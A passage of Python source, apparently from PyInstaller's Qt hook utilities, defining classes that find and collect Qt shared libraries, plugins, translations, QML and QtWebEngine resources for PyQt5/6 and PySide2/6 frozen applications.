#      applications need the ``qml/`` directory available. This is handled by ``QtQuick`` hook, for example
#      ``hook-PyQt5.QtQuick.py``.
#
#    - For ``QtWebEngine``-based applications, we follow the `deployWebEngineCore
#      <https://code.woboq.org/qt5/qttools/src/windeployqt/main.cpp.html#_ZL19deployWebEngineCoreRK4QMapI7QStringS0_ERK7OptionsbPS0_>`_
#      function copies the following files from ``resources/``, and also copies the web engine process executable.
#       -   ``icudtl.dat``
#       -   ``qtwebengine_devtools_resources.pak``
#       -   ``qtwebengine_resources.pak``
#       -   ``qtwebengine_resources_100p.pak``
#       -   ``qtwebengine_resources_200p.pak``
#
#      This is handled by the ``QtWebEngineCore`` hook, for example  ``hook-PyQt5.QtWebEngineCore.py``.
#
# For details and references, see the `original write-up
# <https://github.com/PyInstaller/PyInstaller/blob/fbf7948be85177dd44b41217e9f039e1d176de6b/PyInstaller/utils/hooks/qt.py#L248-L362>`_
# and the documentation in the ``_modules_info`` module.


# QtModuleInfo
# ------------
# This class contains information about python module (extension), its corresponding Qt module (shared library), and
# associated plugins and translations. It is used within QtLibraryInfo_ to establish name-based mappings for file
# collection.
class QtModuleInfo:
    def __init__(self, module, shared_lib=None, translations=None, plugins=None):
        # Python module (extension) name without package namespace. For example, `QtCore`.
        # Can be None if python bindings do not bind the module, but we still need to establish relationship between
        # the Qt module (shared library) and its plugins and translations.
        self.module = module
        # Associated Qt module (shared library), if any. Used during recursive dependency analysis, where a python
        # module (extension) is analyzed for linked Qt modules (shared libraries), and then their corresponding
        # python modules (extensions) are added to hidden imports. For example, the Qt module name is `Qt5Core` or
        # `Qt6Core`, depending on the Qt version. Can be None for python modules that are not tied to a particular
        # Qt shared library (for example, the corresponding Qt module is headers-only) and hence they cannot be
        # inferred from recursive link-time dependency analysis.
        self.shared_lib = shared_lib
        # List of base names of translation files (if any) associated with the Qt module. Multiple base names may be
        # associated with a single module.
        # For example, `['qt', 'qtbase']` for `QtCore` or `['qtmultimedia']` for `QtMultimedia`.
        self.translations = translations or []
        # List of plugins associated with the Qt module.
        self.plugins = plugins or []

    def __repr__(self):
        return f"(module={self.module!r}, shared_lib={self.shared_lib!r}, " \
               f"translations={self.translations!r}, plugins={self.plugins!r}"


# QtLibraryInfo
# --------------
# This class uses introspection to determine the location of Qt files. This is essential to deal with the many variants
# of the PyQt5/6 and PySide2/6 package, each of which places files in a different location. Therefore, this class
# provides all location-related members of `QLibraryInfo <http://doc.qt.io/qt-5/qlibraryinfo.html>`_.
class QtLibraryInfo:
    def __init__(self, namespace):
        if namespace not in ['PyQt5', 'PyQt6', 'PySide2', 'PySide6']:
            raise Exception('Invalid namespace: {0}'.format(namespace))
        self.namespace = namespace
        # Distinction between PyQt5/6 and PySide2/6
        self.is_pyqt = namespace in {'PyQt5', 'PyQt6'}
        # Distinction between Qt5 and Qt6
        self.qt_major = 6 if namespace in {'PyQt6', 'PySide6'} else 5
        # Determine relative path where Qt libraries and data need to be collected in the frozen application. This
        # varies between PyQt5/PyQt6/PySide2/PySide6, their versions, and platforms. NOTE: it is tempting to consider
        # deriving this path as simply the value of QLibraryInfo.PrefixPath, taken relative to the package's root
        # directory. However, we also need to support non-wheel deployments (e.g., with Qt installed in custom path on
        # Windows, or with Qt and PyQt5 installed on linux using native package manager), and in those, the Qt
        # PrefixPath does not reflect the required relative target path for the frozen application.
        if namespace == 'PyQt5':
            if self._use_new_layout("PyQt5", "5.15.4", False):
                self.qt_rel_dir = os.path.join('PyQt5', 'Qt5')
            else:
                self.qt_rel_dir = os.path.join('PyQt5', 'Qt')
        elif namespace == 'PyQt6':
            if self._use_new_layout("PyQt6", "6.0.3", True):
                self.qt_rel_dir = os.path.join('PyQt6', 'Qt6')
            else:
                self.qt_rel_dir = os.path.join('PyQt6', 'Qt')
        elif namespace == 'PySide2':
            # PySide2 uses PySide2/Qt on linux and macOS, and PySide2 on Windows
            if compat.is_win:
                self.qt_rel_dir = 'PySide2'
            else:
                self.qt_rel_dir = os.path.join('PySide2', 'Qt')
        else:
            # PySide6 follows the same logic as PySide2
            if compat.is_win:
                self.qt_rel_dir = 'PySide6'
            else:
                self.qt_rel_dir = os.path.join('PySide6', 'Qt')

        # Process module information list to construct python-module-name -> info and shared-lib-name -> info mappings.
        self._load_module_info()

    def __repr__(self):
        return f"QtLibraryInfo({self.namespace})"

    # Delay initialization of the Qt library information until the corresponding attributes are first requested.
    def __getattr__(self, name):
        if 'version' in self.__dict__:
            # Initialization was already done, but requested attribute is not available.
            raise AttributeError(name)

        # Load Qt library info...
        self._load_qt_info()
        # ... and return the requested attribute
        return getattr(self, name)

    # Check whether we must use the new layout (e.g. PyQt5/Qt5, PyQt6/Qt6) instead of the old layout (PyQt5/Qt,
    # PyQt6/Qt).
    @staticmethod
    def _use_new_layout(package_basename: str, version: str, fallback_value: bool) -> bool:
        # The PyQt wheels come in both non-commercial and commercial variants. So we need to check if a particular
        # variant is installed before testing its version.
        if hooks.check_requirement(package_basename):
            return hooks.check_requirement(f"{package_basename} >= {version}")
        if hooks.check_requirement(f"{package_basename}_commercial"):
            return hooks.check_requirement(f"{package_basename}_commercial >= {version}")
        return fallback_value

    # Load Qt information (called on first access to related fields)
    def _load_qt_info(self):
        """
        Load and process Qt library information. Called on the first access to the related attributes of the class
        (e.g., `version` or `location`).
        """

        # Ensure self.version exists, even if PyQt{5,6}/PySide{2,6} cannot be imported. Hooks and util functions use
        # `if .version` to check whether package was imported and other attributes are expected to be available.
        # This also serves as a marker that initialization was already done.
        self.version = None

        # Get library path information from Qt. See QLibraryInfo_.
        @isolated.decorate
        def _read_qt_library_info(package):
            import os
            import sys
            import importlib

            # Import the Qt-based package
            # equivalent to: from package.QtCore import QLibraryInfo, QCoreApplication
            QtCore = importlib.import_module('.QtCore', package)
            QLibraryInfo = QtCore.QLibraryInfo
            QCoreApplication = QtCore.QCoreApplication

            # QLibraryInfo is not always valid until a QCoreApplication is instantiated.
            app = QCoreApplication(sys.argv)  # noqa: F841

            # Qt6 deprecated QLibraryInfo.location() in favor of QLibraryInfo.path(), and
            # QLibraryInfo.LibraryLocation enum was replaced by QLibraryInfo.LibraryPath.
            if hasattr(QLibraryInfo, 'path'):
                # Qt6; enumerate path enum values directly from the QLibraryInfo.LibraryPath enum.
                path_names = [x for x in dir(QLibraryInfo.LibraryPath) if x.endswith('Path')]
                location = {x: QLibraryInfo.path(getattr(QLibraryInfo.LibraryPath, x)) for x in path_names}
            else:
                # Qt5; in recent versions, location enum values can be enumeratd from QLibraryInfo.LibraryLocation.
                # However, in older versions of Qt5 and its python bindings, that is unavailable. Hence the
                # enumeration of "*Path"-named members of QLibraryInfo.
                path_names = [x for x in dir(QLibraryInfo) if x.endswith('Path')]
                location = {x: QLibraryInfo.location(getattr(QLibraryInfo, x)) for x in path_names}

            # Determine the python-based package location, by looking where the QtCore module is located.
            package_location = os.path.dirname(QtCore.__file__)

            # Determine Qt version. Works for Qt 5.8 and later, where QLibraryInfo.version() was introduced.
            try:
                version = QLibraryInfo.version().segments()
            except AttributeError:
                version = []

            return {
                'is_debug_build': QLibraryInfo.isDebugBuild(),
                'version': version,
                'location': location,
                'package_location': package_location,
            }

        try:
            qt_info = _read_qt_library_info(self.namespace)
        except Exception as e:
            logger.warning("%s: failed to obtain Qt library info: %s", self, e)
            qt_info = {}

        for k, v in qt_info.items():
            setattr(self, k, v)

    # Module information list loading/processing
    def _load_module_info(self):
        """
        Process the Qt modules info definition list and construct two dictionaries:
         - dictionary that maps Qt python module names to Qt module info entries
         - dictionary that maps shared library names to Qt module info entries
        """

        self.python_modules = dict()
        self.shared_libraries = dict()

        for entry in _modules_info.QT_MODULES_INFO:
            # If entry specifies applicable bindings, check them
            if entry.bindings:
                applicable_bindings = _modules_info.process_namespace_strings(entry.bindings)
                if self.namespace not in applicable_bindings:
                    continue

            # Create a QtModuleInfo entry
            info_entry = QtModuleInfo(
                module=entry.module,
                shared_lib=f"Qt{self.qt_major}{entry.shared_lib}" if entry.shared_lib else None,
                translations=entry.translations,
                plugins=entry.plugins
            )

            # If we have python module (extension) name, create python-module-name -> info mapping.
            if info_entry.module is not None:
                self.python_modules[info_entry.module] = info_entry

            # If we have Qt module (shared library) name, create shared-lib-name -> info mapping.
            if info_entry.shared_lib is not None:
                self.shared_libraries[info_entry.shared_lib.lower()] = info_entry

    # Collection
    def collect_module(self, module_name):
        """
        Collect all dependencies (hiddenimports, binaries, datas) for the given Qt python module.

        This function performs recursive analysis of extension module's link-time dependencies, and uses dictionaries
        built by `_load_module_info` to discover associated plugin types, translation file base names, and hidden
        imports that need to be collected.
        """

        # Accumulate all dependencies in a set to avoid duplicates.
        hiddenimports = set()
        translation_base_names = set()
        plugin_types = set()

        # Exit if the requested library cannot be imported.
        # NOTE: self..version can be empty list on older Qt5 versions (#5381).
        if self.version is None:
            return [], [], []

        logger.debug('%s: processing module %s...', self, module_name)

        # Look up the associated Qt module information by python module name.
        # This allows us to collect associated module data directly, even if there is no associated shared library
        # (e.g., header-only Qt module, or statically-built one).
        short_module_name = module_name.split('.', 1)[-1]  # PySide2.QtModule -> QtModule
        if short_module_name in self.python_modules:
            qt_module_info = self.python_modules[short_module_name]

            # NOTE: no need to add a hiddenimport here, because this is the module under consideration.

            # Add plugins
            plugin_types.update(qt_module_info.plugins)

            # Add translation base name(s)
            translation_base_names.update(qt_module_info.translations)

        # Find the actual module extension file.
        module_file = hooks.get_module_file_attribute(module_name)

        # Additional search path for shared library resolution. This is mostly required for library resolution on
        # Windows (Linux and macOS binaries use run paths to find Qt libs).
        qtlib_search_paths = [
            # For PyQt5 and PyQt6 wheels, shared libraries should be in BinariesPath, while for PySide2 and PySide6,
            # they should be in PrefixPath.
            self.location['BinariesPath' if self.is_pyqt else 'PrefixPath'],
        ]

        # Walk through all the link-time dependencies of a dynamically-linked library (``.so``/``.dll``/``.dylib``).
        imported_libraries = bindepend.get_imports(module_file, qtlib_search_paths)
        while imported_libraries:
            imported_lib_name, imported_lib_path = imported_libraries.pop()  # (name, fullpath) tuple

            # Skip unresolved libraries
            if imported_lib_path is None:
                logger.debug("%s: ignoring unresolved library import %r", self, imported_lib_name)
                continue

            # On macOS, ``imported_lib_name`` is the original referenced name and may not be a basename. So, to parse
            # the library name, obtain the base name of the full library path (``imported_lib_path``). Remove the
            # suffix and "lib" prefix (Linux/macOS), and lowercase the name for case-normalized comparison.
            lib_name = os.path.splitext(os.path.basename(imported_lib_path))[0].lower()
            # Linux libraries sometimes have a dotted version number -- ``libfoo.so.3``. It is now ''libfoo.so``,
            # but the ``.so`` must also be removed.
            if compat.is_linux and os.path.splitext(lib_name)[1] == '.so':
                lib_name = os.path.splitext(lib_name)[0]
            if lib_name.startswith('lib'):
                lib_name = lib_name[3:]
            # macOS: handle different naming schemes. PyPI wheels ship framework-enabled Qt builds, where shared
            # libraries are part of .framework bundles (e.g., ``PyQt5/Qt5/lib/QtCore.framework/Versions/5/QtCore``).
            # In Anaconda (Py)Qt installations, the shared libraries are installed in environment's library directory,
            # and contain versioned extensions, e.g., ``libQt5Core.5.dylib``.
            if compat.is_darwin:
                if lib_name.startswith('qt') and not lib_name.startswith('qt' + str(self.qt_major)):
                    # Qt library from a framework bundle (e.g., ``QtCore``); change prefix from ``qt`` to ``qt5`` or
                    # ``qt6`` to match names in Windows/Linux.
                    lib_name = 'qt' + str(self.qt_major) + lib_name[2:]
                if lib_name.endswith('.' + str(self.qt_major)):
                    # Qt library from Anaconda, which originally had versioned extension, e.g., ``libfoo.5.dynlib``.
                    # The above processing turned it into ``foo.5``, so we need to remove the last two characters.
                    lib_name = lib_name[:-2]

            # Match libs with QT_LIBINFIX set to '_conda', i.e. conda-forge builds.
            if lib_name.endswith('_conda'):
                lib_name = lib_name[:-6]

            logger.debug(
                '%s: imported library %r, full path %r -> parsed name %r.', self, imported_lib_name, imported_lib_path,
                lib_name
            )

            # PySide2 and PySide6 on linux seem to link all extension modules against libQt5Core, libQt5Network, and
            # libQt5Qml (or their libQt6* equivalents). While the first two are reasonable, the libQt5Qml dependency
            # pulls in whole QtQml module, along with its data and plugins, which in turn pull in several other Qt
            # libraries, greatly inflating the bundle size (see #6447).
            #
            # Similarly, some extension modules (QtWebChannel, QtWebEngine*) seem to be also linked against libQt5Qml,
            # even when the module can be used without having the whole QtQml module collected.
            #
            # Therefore, we explicitly prevent inclusion of QtQml based on the dynamic library dependency, except for
            # QtQml* and QtQuick* modules, whose use directly implies the use of QtQml.
            if lib_name in ("qt5qml", "qt6qml"):
                if not short_module_name.startswith(('QtQml', 'QtQuick')):
                    logger.debug('%s: ignoring imported library %r.', self, lib_name)
                    continue

            # Use the parsed library name to look up associated Qt module information.
            if lib_name in self.shared_libraries:
                logger.debug('%s: collecting Qt module associated with %r.', self, lib_name)

                # Look up associated module info
                qt_module_info = self.shared_libraries[lib_name]

                # If there is a python extension module associated with Qt module, add it to hiddenimports. Since this
                # means that we (most likely) have a hook available for that module, we can avoid analyzing the shared
                # library itself (i.e., stop the recursive analysis), because this will be done by the corresponding
                # hook.
                if qt_module_info.module:
                    if qt_module_info.module == short_module_name:
                        # The one exception is if we are analyzing shared library associated with the input module; in
                        # that case, avoid adding a hidden import and analyze the library's link-time dependencies. We
                        # do not need to worry about plugins and translations for this particular module, because those
                        # have been handled at the beginning of this function.
                        imported_libraries.update(bindepend.get_imports(imported_lib_path, qtlib_search_paths))
                    else:
                        hiddenimports.add(self.namespace + "." + qt_module_info.module)
                    continue

                # Add plugins
                plugin_types.update(qt_module_info.plugins)

                # Add translation base name(s)
                translation_base_names.update(qt_module_info.translations)

                # Analyze the linked shared libraries for its dependencies (recursive analysis).
                imported_libraries.update(bindepend.get_imports(imported_lib_path, qtlib_search_paths))

        # Collect plugin files.
        binaries = []
        for plugin_type in plugin_types:
            binaries += self.collect_plugins(plugin_type)

        # Collect translation files.
        datas = []
        translation_src = self.location['TranslationsPath']
        translation_dst = os.path.join(self.qt_rel_dir, 'translations')

        for translation_base_name in translation_base_names:
            # Not all PyQt5 installations include translations. See
            # https://github.com/PyInstaller/PyInstaller/pull/3229#issuecomment-359479893
            # and
            # https://github.com/PyInstaller/PyInstaller/issues/2857#issuecomment-368744341.
            translation_pattern = os.path.join(translation_src, translation_base_name + '_*.qm')
            translation_files = glob.glob(translation_pattern)
            if translation_files:
                datas += [(translation_file, translation_dst) for translation_file in translation_files]
            else:
                logger.warning(
                    '%s: could not find translations with base name %r! These translations will not be collected.',
                    self, translation_base_name
                )

        # Convert hiddenimports to a list.
        hiddenimports = list(hiddenimports)

        logger.debug(
            '%s: dependencies for %s:\n'
            '  hiddenimports = %r\n'
            '  binaries = %r\n'
            '  datas = %r', self, module_name, hiddenimports, binaries, datas
        )

        return hiddenimports, binaries, datas

    @staticmethod
    def _filter_release_plugins(plugin_files):
        """
        Filter the provided list of Qt plugin files and remove the debug variants, under the assumption that both the
        release version of a plugin (qtplugin.dll) and its debug variant (qtplugind.dll) appear in the list.
        """
        # All basenames for lookup
        plugin_basenames = {os.path.normcase(os.path.basename(f)) for f in plugin_files}
        # Process all given filenames
        release_plugin_files = []
        for plugin_filename in plugin_files:
            plugin_basename = os.path.normcase(os.path.basename(plugin_filename))
            if plugin_basename.endswith('d.dll'):
                # If we can find a variant without trailing 'd' in the plugin list, then the DLL we are dealing with is
                # a debug variant and needs to be excluded.
                release_name = os.path.splitext(plugin_basename)[0][:-1] + '.dll'
                if release_name in plugin_basenames:
                    continue
            release_plugin_files.append(plugin_filename)
        return release_plugin_files

    def collect_plugins(self, plugin_type):
        """
        Collect all plugins of the specified type from the Qt plugin directory.

        Returns list of (src, dst) tuples.
        """
        # Ensure plugin directory exists
        plugin_src_dir = self.location['PluginsPath']
        if not os.path.isdir(plugin_src_dir):
            raise Exception(f"Qt plugin directory '{plugin_src_dir}' does not exist!")

        # Collect all shared lib files in plugin type (sub)directory
        plugin_files = misc.dlls_in_dir(os.path.join(plugin_src_dir, plugin_type))

        # Windows:
        #
        # dlls_in_dir() grabs all files ending with ``*.dll``, ``*.so`` and ``*.dylib`` in a certain directory. On
        # Windows this would grab debug copies of Qt plugins, which then causes PyInstaller to add a dependency on the
        # Debug CRT *in addition* to the release CRT.
        if compat.is_win:
            plugin_files = self._filter_release_plugins(plugin_files)

        logger.debug("%s: found plugin files for plugin type %r: %r", self, plugin_type, plugin_files)

        plugin_dst_dir = os.path.join(self.qt_rel_dir, 'plugins', plugin_type)
        return [(plugin_file, plugin_dst_dir) for plugin_file in plugin_files]

    def _collect_all_or_none(self, mandatory_dll_patterns, optional_dll_patterns=None):
        """
        Try to find Qt DLLs from the specified mandatory pattern list. If all mandatory patterns resolve to DLLs,
        collect them all, as well as any DLLs from the optional pattern list. If a mandatory pattern fails to resolve
        to a DLL, return an empty list.

        This allows all-or-none collection of particular groups of Qt DLLs that may or may not be available.
        """
        optional_dll_patterns = optional_dll_patterns or []

        # Resolve path to the the corresponding python package (actually, its parent directory). Used to preserve the
        # directory structure when DLLs are collected from the python package (e.g., PyPI wheels).
        package_parent_path = pathlib.Path(self.package_location).resolve().parent

        # In PyQt5 and PyQt6, the DLLs we are looking for are located in location['BinariesPath'], whereas in PySide2
        # and PySide6, they are located in location['PrefixPath'].
        dll_path = self.location['BinariesPath' if self.is_pyqt else 'PrefixPath']
        dll_path = pathlib.Path(dll_path).resolve()

        # Helper for processing single DLL pattern
        def _process_dll_pattern(dll_pattern):
            discovered_dlls = []

            dll_files = dll_path.glob(dll_pattern)
            for dll_file in dll_files:
                if package_parent_path in dll_file.parents:
                    # The DLL is located within python package; preserve the layout
                    dst_dll_dir = dll_file.parent.relative_to(package_parent_path)
                else:
                    # The DLL is not located within python package; collect into top-level directory
                    dst_dll_dir = '.'
                discovered_dlls.append((str(dll_file), str(dst_dll_dir)))

            return discovered_dlls

        # Process mandatory patterns
        collected_dlls = []
        for pattern in mandatory_dll_patterns:
            discovered_dlls = _process_dll_pattern(pattern)
            if not discovered_dlls:
                return []  # Mandatory pattern resulted in no DLLs; abort
            collected_dlls += discovered_dlls

        # Process optional patterns
        for pattern in optional_dll_patterns:
            collected_dlls += _process_dll_pattern(pattern)

        return collected_dlls

    # Collect required Qt binaries, but only if all binaries in a group exist.
    def collect_extra_binaries(self):
        """
        Collect extra binaries/DLLs required by Qt. These include ANGLE DLLs, OpenGL software renderer DLL, and ICU
        DLLs. Applicable only on Windows (on other OSes, empty list is returned).
        """

        binaries = []

        # Applicable only to Windows.
        if not compat.is_win:
            return []

        # OpenGL: EGL/GLES via ANGLE, software OpenGL renderer.
        binaries += self._collect_all_or_none(['libEGL.dll', 'libGLESv2.dll'], ['d3dcompiler_??.dll'])
        binaries += self._collect_all_or_none(['opengl32sw.dll'])

        # Include ICU files, if they exist.
        # See the "Deployment approach" section in ``PyInstaller/utils/hooks/qt.py``.
        binaries += self._collect_all_or_none(['icudt??.dll', 'icuin??.dll', 'icuuc??.dll'])

        return binaries

    # Collect additional shared libraries required for SSL support in QtNetwork, if they are available.
    # Applicable only to Windows. See issue #3520, #4048.
    def collect_qtnetwork_files(self):
        """
        Collect extra binaries/DLLs required by the QtNetwork module. These include OpenSSL DLLs. Applicable only
        on Windows (on other OSes, empty list is returned).
        """

        # No-op if requested Qt-based package is not available.
        if self.version is None:
            return []

        # Applicable only to Windows.
        if not compat.is_win:
            return []

        # Check if QtNetwork supports SSL
        @isolated.decorate
        def _ssl_enabled(package):
            import sys
            import importlib

            # Import the Qt-based package
            # equivalent to: from package.QtCore import QCoreApplication
            QtCore = importlib.import_module('.QtCore', package)
            QCoreApplication = QtCore.QCoreApplication
            # equivalent to: from package.QtNetwork import QSslSocket
            QtNetwork = importlib.import_module('.QtNetwork', package)
            QSslSocket = QtNetwork.QSslSocket

            # Instantiate QCoreApplication to suppress warnings
            app = QCoreApplication(sys.argv)  # noqa: F841

            return QSslSocket.supportsSsl()

        if not _ssl_enabled(self.namespace):
            return []

        # Resolve path to the the corresponding python package (actually, its parent directory). Used to preserve the
        # directory structure when DLLs are collected from the python package (e.g., PyPI wheels).
        package_parent_path = pathlib.Path(self.package_location).resolve().parent

        # PyPI version of PySide2 requires user to manually install SSL libraries into the PrefixPath. Other versions
        # (e.g., the one provided by Conda) put the libraries into the BinariesPath. PyQt5 also uses BinariesPath.
        # Accommodate both options by searching both locations...
        locations = (self.location['BinariesPath'], self.location['PrefixPath'])
        dll_names = ('libeay32.dll', 'ssleay32.dll', 'libssl-1_1-x64.dll', 'libcrypto-1_1-x64.dll')
        binaries = []
        for location in locations:
            location = pathlib.Path(location).resolve()
            for dll in dll_names:
                dll_file_path = location / dll
                if not dll_file_path.exists():
                    continue
                if package_parent_path in dll_file_path.parents:
                    # The DLL is located within python package; preserve the layout
                    dst_dll_path = dll_file_path.parent.relative_to(package_parent_path)
                else:
                    # The DLL is not located within python package; collect into top-level directory
                    dst_dll_path = '.'
                binaries.append((str(dll_file_path), str(dst_dll_path)))
        return binaries

    def collect_qtqml_files(self):
        """
        Collect additional binaries and data for QtQml module.
        """

        # No-op if requested Qt-based package is not available.
        if self.version is None:
            return [], []

        # Not all PyQt5/PySide2 installs have QML files. In this case, location['Qml2ImportsPath'] is empty.
        # Furthermore, even if location path is provided, the directory itself may not exist.
        #
        # https://github.com/PyInstaller/PyInstaller/pull/3229#issuecomment-359735031
        # https://github.com/PyInstaller/PyInstaller/issues/3864
        #
        # In Qt 6, Qml2ImportsPath was deprecated in favor of QmlImportsPath. The former is not available in PySide6
        # 6.4.0 anymore (but is in PyQt6 6.4.0). Use the new QmlImportsPath if available.
        if 'QmlImportsPath' in self.location:
            qml_src_dir = self.location['QmlImportsPath']
        else:
            qml_src_dir = self.location['Qml2ImportsPath']
        if not qml_src_dir or not os.path.isdir(qml_src_dir):
            logger.warning('%s: QML directory %r does not exist. QML files not packaged.', self, qml_src_dir)
            return [], []

        qml_dst_dir = os.path.join(self.qt_rel_dir, 'qml')
        datas = [(qml_src_dir, qml_dst_dir)]
        binaries = [
            # Produce ``/path/to/Qt/Qml/path_to_qml_binary/qml_binary, PyQt5/Qt/Qml/path_to_qml_binary``.
            (
                qml_plugin_file,
                os.path.join(qml_dst_dir, os.path.dirname(os.path.relpath(qml_plugin_file, qml_src_dir)))
            ) for qml_plugin_file in misc.dlls_in_subdirs(qml_src_dir)
        ]

        return binaries, datas

    def collect_qtwebengine_files(self):
        """
        Collect QtWebEngine helper process executable, translations, and resources.
        """

        binaries = []
        datas = []

        # Output directory (varies between PyQt and PySide and among OSes; the difference is abstracted by
        # QtLibraryInfo.qt_rel_dir)
        rel_data_path = self.qt_rel_dir

        is_macos_framework = False
        if compat.is_darwin:
            # Determine if we are dealing with a framework-based Qt build (e.g., PyPI wheels) or a dylib-based one
            # (e.g., Anaconda). The former requires special handling, while the latter is handled in the same way as
            # Windows and Linux builds.
            is_macos_framework = os.path.exists(
                os.path.join(self.location['LibrariesPath'], 'QtWebEngineCore.framework')
            )

        if is_macos_framework:
            # macOS .framework bundle
            src_framework_path = os.path.join(self.location['LibrariesPath'], 'QtWebEngineCore.framework')

            # If Qt libraries are bundled with the package, collect the .framework bundle into corresponding package's
            # subdirectory, because binary dependency analysis will also try to preserve the directory structure.
            # However, if we are collecting from system-wide Qt installation (e.g., Homebrew-installed Qt), the binary
            # depndency analysis will attempt to re-create .framework bundle in top-level directory, so we need to
            # collect the extra files there.
            bundled_qt_libs = pathlib.Path(self.package_location) in pathlib.Path(src_framework_path).parents
            if bundled_qt_libs:
                dst_framework_path = os.path.join(rel_data_path, 'lib/QtWebEngineCore.framework')
            else:
                dst_framework_path = 'QtWebEngineCore.framework'  # In top-level directory

            # Determine the version directory - for now, we assume we are dealing with single-version framework;
            # i.e., the Versions directory contains only a single <version> directory, and Current symlink to it.
            versions = sorted([
                version for version in os.listdir(os.path.join(src_framework_path, 'Versions')) if version != 'Current'
            ])
            if len(versions) == 0:
                raise RuntimeError("Could not determine version of the QtWebEngineCore.framework!")
            elif len(versions) > 1:
                logger.warning(
                    "Found multiple versions in QtWebEngineCore.framework (%r) - using the last one!", versions
                )
            version = versions[-1]

            # Collect the Helpers directory. In well-formed .framework bundles (such as the ones provided by Homebrew),
            # the Helpers directory is located in the versioned directory, and symlinked to the top-level directory.
            src_helpers_path = os.path.join(src_framework_path, 'Versions', version, 'Helpers')
            dst_helpers_path = os.path.join(dst_framework_path, 'Versions', version, 'Helpers')
            if not os.path.exists(src_helpers_path):
                # Alas, the .framework bundles shipped with contemporary PyPI PyQt/PySide wheels are not well-formed
                # (presumably because .whl cannot preserve symlinks?). The Helpers in the top-level directory is in fact
                # the hard copy, and there is either no Helpers in versioned directory, or there is a duplicate.
                # So fall back to collecting from the top-level, but collect into versioned directory in order to
                # be compliant with codesign's expectations.
                src_helpers_path = os.path.join(src_framework_path, 'Helpers')

            helper_datas = hooks.collect_system_data_files(src_helpers_path, dst_helpers_path)

            # Filter out the actual helper executable from datas, and add it to binaries instead. This ensures that it
            # undergoes additional binary processing that rewrites the paths to linked libraries.
            HELPER_EXE = 'QtWebEngineProcess.app/Contents/MacOS/QtWebEngineProcess'
            for src_name, dest_name in helper_datas:
                if src_name.endswith(HELPER_EXE):
                    binaries.append((src_name, dest_name))
                else:
                    datas.append((src_name, dest_name))

            # Collect the Resources directory; same logic is used as with Helpers directory.
            src_resources_path = os.path.join(src_framework_path, 'Versions', version, 'Resources')
            dst_resources_path = os.path.join(dst_framework_path, 'Versions', version, 'Resources')
            if not os.path.exists(src_resources_path):
                src_resources_path = os.path.join(src_framework_path, 'Resources')

            datas += hooks.collect_system_data_files(src_resources_path, dst_resources_path)

            # NOTE: the QtWebEngineProcess helper is actually sought within the `QtWebEngineCore.framework/Helpers`,
            # which ought to be a symlink to `QtWebEngineCore.framework/Versions/Current/Helpers`, where `Current`
            # is also a symlink to the actual version directory, `A`.
            #
            # These symlinks are created automatically when the TOC list of collected resources is post-processed
            # using `PyInstaller.utils.osx.collect_files_from_framework_bundles` helper, so we do not have to
            # worry about them here...
        else:
            # Windows and linux (or Anaconda on macOS)
            locales = 'qtwebengine_locales'
            resources = 'resources'

            # Translations
            datas.append((
                os.path.join(self.location['TranslationsPath'], locales),
                os.path.join(rel_data_path, 'translations', locales),
            ))

            # Resources; ``DataPath`` is the base directory for ``resources``, as per the
            # `docs <https://doc.qt.io/qt-5.10/qtwebengine-deploying.html#deploying-resources>`_.
            datas.append((os.path.join(self.location['DataPath'], resources), os.path.join(rel_data_path, resources)),)

            # Helper process executable (QtWebEngineProcess), located in ``LibraryExecutablesPath``.
            dest = os.path.join(
                rel_data_path, os.path.relpath(self.location['LibraryExecutablesPath'], self.location['PrefixPath'])
            )
            binaries.append((os.path.join(self.location['LibraryExecutablesPath'], 'QtWebEngineProcess*'), dest))

            # The helper QtWebEngineProcess executable should have an accompanying qt.conf file that helps it locate the
            # Qt shared libraries. Try collecting it as well
            qt_conf_file = os.path.join(self.location['LibraryExecutablesPath'], 'qt.conf')
            if not os.path.isfile(qt_conf_file):
                # The file seems to have been dropped from Qt 6.3 (and corresponding PySide6 and PyQt6) due to
                # redundancy; however, we still need it in the frozen application - so generate our own.
                from PyInstaller.config import CONF  # workpath
                # Relative path to root prefix of bundled Qt
                rel_prefix = os.path.relpath(self.location['PrefixPath'], self.location['LibraryExecutablesPath'])
                # We expect the relative path to be either . or .. depending on PySide/PyQt layout; if that is not the
                # case, warn about irregular path.
                if rel_prefix not in ('.', '..'):
                    logger.warning(
                        "%s: unexpected relative Qt prefix path for QtWebEngineProcess qt.conf: %s", self, rel_prefix
                    )
                # The Qt docs on qt.conf (https://doc.qt.io/qt-5/qt-conf.html) recommend using forward slashes on
                # Windows as well, due to backslash having to be escaped. This should not matter as we expect the
                # relative path to be . or .., but you never know...
                if os.sep == '\\':
                    rel_prefix = rel_prefix.replace(os.sep, '/')
                # Create temporary file in workpath
                qt_conf_file = os.path.join(CONF['workpath'], "qt.conf")
                with open(qt_conf_file, 'w') as fp:
                    print("[Paths]", file=fp)
                    print("Prefix = {}".format(rel_prefix), file=fp)
            datas.append((qt_conf_file, dest))

        # Add Linux-specific libraries.
        if compat.is_linux:
            # The automatic library detection fails for `NSS <https://packages.ubuntu.com/search?keywords=libnss3>`_,
            # which is used by QtWebEngine. In some distributions, the ``libnss`` supporting libraries are stored in a
            # subdirectory ``nss``. Since ``libnss`` is not linked against them but loads them dynamically at run-time,
            # we need to search for and add them.

            # First, get all libraries linked to ``QtWebEngineCore`` extension module.
            module_file = hooks.get_module_file_attribute(self.namespace + '.QtWebEngineCore')
            for lib_name, lib_path in bindepend.get_imports(module_file):  # (name, fullpath) tuples
                if lib_path is None:
                    continue  # Skip unresolved libraries
                # Look for ``libnss3.so``.
                if os.path.basename(lib_path).startswith('libnss3.so'):
                    # Find the location of NSS: given a ``/path/to/libnss.so``, search ``/path/to/nss/*.so`` to get the
                    # missing NSS libraries.
                    nss_glob = os.path.join(os.path.dirname(lib_path), 'nss', '*.so')
                    if glob.glob(nss_glob):
                        binaries.append((nss_glob, 'nss'))

        return binaries, datas


# Provide single instances of this class to avoid each hook constructing its own.
pyqt5_library_info = QtLibraryInfo('PyQt5')
pyqt6_library_info = QtLibraryInfo('PyQt6')
pyside2_library_info = QtLibraryInfo('PySide2')
pyside6_library_info = QtLibraryInfo('PySide6')


def get_qt_library_info(namespace):
    """
    Return QtLibraryInfo instance for the given namespace.
    """
    if namespace == 'PyQt5':
        return pyqt5_library_info
    if namespace == 'PyQt6':
        return pyqt6_library_info
    elif namespace == 'PySide2':
        return pyside2_library_info
    elif namespace == 'PySide6':
        return pyside6_library_info

    raise ValueError(f'Invalid namespace: {namespace}!')


# add_qt_dependencies
# --------------------
